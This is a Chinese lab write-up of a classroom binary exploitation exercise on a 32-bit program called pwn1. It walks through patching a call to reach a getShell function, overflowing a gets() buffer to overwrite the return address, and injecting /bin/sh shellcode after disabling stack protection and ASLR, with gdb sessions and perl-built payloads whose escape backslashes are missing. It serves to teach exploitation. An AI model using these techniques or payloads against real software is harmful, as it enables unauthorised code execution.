1.1 实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。
1.2实践内容
- 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
- 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
这几种思路，基本代表现实情况中的攻击目标: - 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
2.1手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数
objdump -d pwn1 #反汇编并查看文件内容
cp pwn1 pwn2
vi pwn1
:%!xxd
:/e8d7 #光标移动到行首
#修改d7为c3，d7-c3是<foo>和<getshell>首地址的差值
:%!xxd -r3 #一定要先改回16进制，否则保存的文件格式会变化会变得不能运行
:wq
-
错误1：中间修改了主机名然后出现各种错误以后，增强功能崩了，于是重新安装。
-
提示：虚拟机版本较低不要强行修改主机名或者没有根据的修改文件，可以用hostname+主机名临时更改，重启之后失效主机名会变为之前的。
-
错误2：在安装图形化的16进制编程器出现错误
-
方法：重启。
-
错误3：pwn1不能运行
-
方法：安装32位运行库；教程：64位Kali无法顺利执行pwn1问题的解决方案
2.2利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
gdb pwn1 #查看错误运行过程中返回地址的变化
(gdb) r #输入“1111111122222222333333334444444455555555“
(gdb) info r #查看eip的值被什么值覆盖
(gdb) r #输入“1111111122222222333333334444444420155203“，进一步确定覆盖eip内容的输入内容位置。
(gdb) info r #再次查看eip的值被什么值覆盖，发现是被2015部分覆盖
(gdb) q #退出gdb
perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input #生成包括x7dx84x04x08（getshell的首地址）这样的16进制值的一个文件 input
(cat input; cat) | ./pwn1 #将input的输入，通过管道符“|”，作为pwn1的输入
这一步实验没有出错只是对教程中的有一部分不是很理解：关于如何确定构造的input文件应该是按照大端还是小端编写，这一部分主主要是根据用后八位是”123345678“输入覆盖返回地址时，返回地址变为0x34333231也就是ASCII码的4321由此确定。
2.3注入Shellcode并执行
apt-get install execstack #下载安装execstack
cp pwn1 p20155203
execstack -s p20155203 #设置堆栈可执行
execstack -q p20155203 #查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space #关闭地址随机化
more /proc/sys/kernel/randomize_va_space
perl -e 'print "A" x 32;print "x5xd2x0x3x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
#使用retaddr+nops+shellcode结构来攻击buf，把返回地址位置上的值设为学号便于找到返回地址的位置。
ps -ef | grep p20155203 #用另一个终端来查询p20155203的进程号，所有gdb调试的工作都在这个终端上进行
gdb
(gdb) attach 6817
(gdb) disassemble foo
Dump of assembler code for function foo:
0x08048491 <+0>: push %ebp
0x08048492 <+1>: mov %esp,%ebp
0x08048494 <+3>: sub $0x38,%esp
0x08048497 <+6>: lea -0x1c(%ebp),%eax
0x0804849a <+9>: mov %eax,(%esp)
0x0804849d <+12>: call 0x8048330 <gets@plt>
0x080484a2 <+17>: lea -0x1c(%ebp),%eax
0x080484a5 <+20>: mov %eax,(%esp)
0x080484a8 <+23>: call 0x8048340 <puts@plt>
0x080484ad <+28>: leave
0x080484ae <+29>: ret
(gdb) break *0x080484ae
Breakpoint 1 at 0x80484ae #在运行p20155203的终端上按回车
(gdb) c
Continuing.#可以注意到会出现一串乱码
Breakpoint 1, 0x080484ae in foo ()
(gdb) info r esp
esp 0xffffd2ec 0xffffd2ec
(gdb) x/16x 0xffffd2ec
0xffffd2ec: 0x03000205 0x415b1b00 0xf7f9d000 0x00000000 #找到了学号！
0xffffd2fc: 0xf7de0e81 0x00000001 0xffffd394 0xffffd39c
0xffffd30c: 0xffffd324 0x00000001 0x00000000 0xf7f9d000
0xffffd31c: 0xf7fe574a 0xf7ffd000 0x00000000 0xf7f9d000
(gdb) q #结束这个终端上的工作
perl -e 'print "A" x 32;print "xf0xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode #通过计算可以得到0xffffd2f0是正确的地址
(cat input_shellcode;cat) | ./p20155203
#攻击成功
